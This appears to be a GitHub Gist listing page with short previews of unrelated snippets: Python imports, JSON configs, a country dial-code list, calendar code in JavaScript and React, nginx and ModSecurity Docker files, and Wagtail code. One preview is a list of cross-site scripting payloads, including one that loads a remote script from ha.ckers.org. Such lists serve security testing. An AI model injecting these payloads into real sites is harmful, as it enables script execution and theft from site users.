This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import json | |
import os | |
import re | |
import sys | |
import traceback | |
from exceptions import AttributeError | |
from exceptions import Exception | |
from exceptions import IndexError | |
from exceptions import KeyboardInterrupt |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"Provided_Information": | |
{ | |
"ecg": true, | |
"floorplan": true, | |
"video": true, | |
"dar": true, | |
"doorcode": false, | |
"audio_stream": false, | |
"recue_sheet": true, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[ | |
{ | |
"name": "Afghanistan", | |
"dial_code": "+93", | |
"code": "AF" | |
}, | |
{ | |
"name": "Aland Islands", | |
"dial_code": "+358", | |
"code": "AX" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const daysInMonth = (iYear, iMonth) => 32 - new Date(iYear, iMonth, 32).getDate() | |
const months = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'] | |
const getSelectedMonthDates = (selectedYear, selectedMonth) => { | |
const calendarDates = [] | |
const firstDay = (new Date(selectedYear, selectedMonth)).getDay() // 0 = 'Sunday', 6 = 'Saturday' | |
const days = daysInMonth(selectedYear, selectedMonth) // how many days in a month | |
let x = 0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import React, { useState, useEffect } from 'react'; | |
import styled from 'styled-components' | |
const { datesGenerator } = require('dates-generator'); | |
const months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']; | |
const days = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'] | |
const Container = styled.div` | |
width: 300px; | |
border: 1px solid black; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
worker_processes auto; | |
worker_rlimit_core 500M; | |
events { | |
accept_mutex off; | |
worker_connections 1024; | |
multi_accept on; | |
use epoll; | |
} | |
http { | |
# MIME |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM ubuntu:18.04 as modsecurity-build | |
LABEL maintainer="Vijay <[email protected]>" | |
# Install Prereqs | |
ENV DEBIAN_FRONTEND noninteractive | |
RUN apt-get update -qq && \ | |
apt install -qq -y --no-install-recommends --no-install-suggests \ | |
ca-certificates \ | |
automake \ | |
autoconf \ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
''' | |
other blocks ... | |
''' | |
class CustomPagesMenuBlock(StructBlock): | |
menus=ListBlock(StructBlock([ | |
("pg", PageChooserBlock(default=None, blank=True, null=True, required=False, label="Menu", help = "height for this video embed object")), | |
("children", ListBlock(StructBlock([ | |
("pg", PageChooserBlock(default=None, blank=True, null=True, required=False, label="Sub-Menu")), | |
("children", ListBlock(StructBlock([ | |
("pg", PageChooserBlock(default=None, blank=True, null=True, required=False, label="Sub-Sub-Menu")), |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
'';!--"<XSS>=&{()} | |
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" | |
<script/src=data:,alert()> | |
<marquee/onstart=alert()> | |
<video/poster/onerror=alert()> | |
<isindex/autofocus/onfocus=alert()> | |
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
<IMG SRC="javascript:alert('XSS');"> | |
<IMG SRC=javascript:alert('XSS')> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class HHFormBuilder(FormBuilder): | |
def create_image_field(self, field, options): | |
return WagtailImageField(**options) | |
class HHFormSubmission(AbstractFormSubmission): | |
user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.SET_NULL, null=True) | |
def get_data(self): |
NewerOlder